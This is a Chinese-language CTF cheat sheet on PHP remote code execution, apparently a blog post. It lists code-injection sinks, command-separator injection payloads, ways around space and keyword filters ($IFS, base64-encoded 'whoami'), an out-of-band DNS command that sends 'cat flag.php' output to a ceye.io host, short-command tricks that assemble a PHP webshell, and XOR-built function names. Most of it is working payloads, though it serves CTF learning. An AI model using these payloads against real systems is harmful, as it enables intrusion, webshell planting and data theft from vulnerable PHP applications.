• CTF RCE(远程代码执行)


    相关函数

    代码注入

    • eval()

      传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。
      return 语句会立即中止当前字符串的执行。

      代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。

    • assert()

    • call_user_func()/call_user_func_array()

      可以传递任何内置函数或用户自定义函数,除了语言结构如array(),echo(),empty(),eval(),exit(),isset(),list(),print(),unset()

    • create_function()

    • usort()/uasort()

      例如:

      ?1[]=phpinfo()&1[]=123&2=assert
      usort($_GET[1],'assert');
      
    • ${php代码}
      例如:${phpinfo()};

    • ob_start()

    命令执行

    • system()

    • exec()/shell_exec()

    • passthru

    • ``运算符

    命令执行的绕过

    命令执行的分隔符

    例子:system("echo ".$_GET[1]);

    功能 符号 payload
    换行符 %0a ?1=123%0apwd
    回车符 %0d 同上
    连续指令 ; ?1=123;pwd
    后台进程 & ?1=123&pwd
    管道符 |(显示后面语句的结果) ?1=123|pwd
    逻辑运算 ||或&& ?1=123||pwd

    空格代替

    • <符号
    • $IFS(好像有问题)
    • ${IFS}
    • $IFS$9
    • %09用于url传递
    • cat</flag

    绕过

    • a=l;b=s;$a$b
    • `echo d2hvYW1p|base64 -D`
    • linux命令中可以加,所以甚至可以ca /flag
    • 'l's同上

    命令执行的各种符号

    使用env命令查看本地变量,expr substr来截取需要的字符,拼接成命令执行
    例如:

    echo "${PATH:0:1}"
    echo "`expr$IFSsubstr$IFS$(pwd)$IFS1$IFS1`"
    echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
    expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
    

    命令无回显的情况

    判断

    利用

    • 写shell(直接写入/外部下载)
      • echo >
      • wget
    • http/dns等方式带出数据
      需要去掉空格,可以使用sed等命令
      如:echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io

    可控字符串长度受限

    【CTF 攻略】如何绕过四个字符限制getshell

    15个字符

    echo  <?php >1
    echo eval(>>1
    echo $_GET>>1
    echo [1]>>1
    echo );>>1
    mv 1 1.php
    

    7个字符

    思路:
    1、命令+>文件名可以生产文件(命令可以为空)
    2、ls -t可以将文件按时间顺序排列
    3、sh命令可以执行sh脚本
    4、base64命令可以避免特殊字符
    5、可以分行输入命令

    w>hp
    w>1.p\
    w>d>\
    w> -\
    w>e64\
    w>bas\
    w>7|\
    w>XSk\
    w>Fsx\
    w>dFV\
    w>kX0\
    w>bCg\
    w>XZh\
    w>AgZ\
    w>waH\
    w>PD9\
    w>o \
    w>ech\
    ls -t|
    sh
    

    无数字字母getshell

    • 思路:异或、取反
    • 例子:
      $_='<>]=@^<'^'[[){,?[';//$_='getFlag'
      
      $_();//getFlag()
      

    补充

  • 相关阅读:
    第5次作业+105032014118+陈元可
    第4次作业类测试代码+105032014118+陈元可
    实验二+118+陈元可
    第三次作业+105032014118
    第一次作业+105032014118
    第二次作业+105032014118
    UT源码105032014118
    ORACLE基本操作
    实验四+074+林盼皇
    实验三+074+林盼皇
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/11396392.html
Copyright © 2020-2023  润新知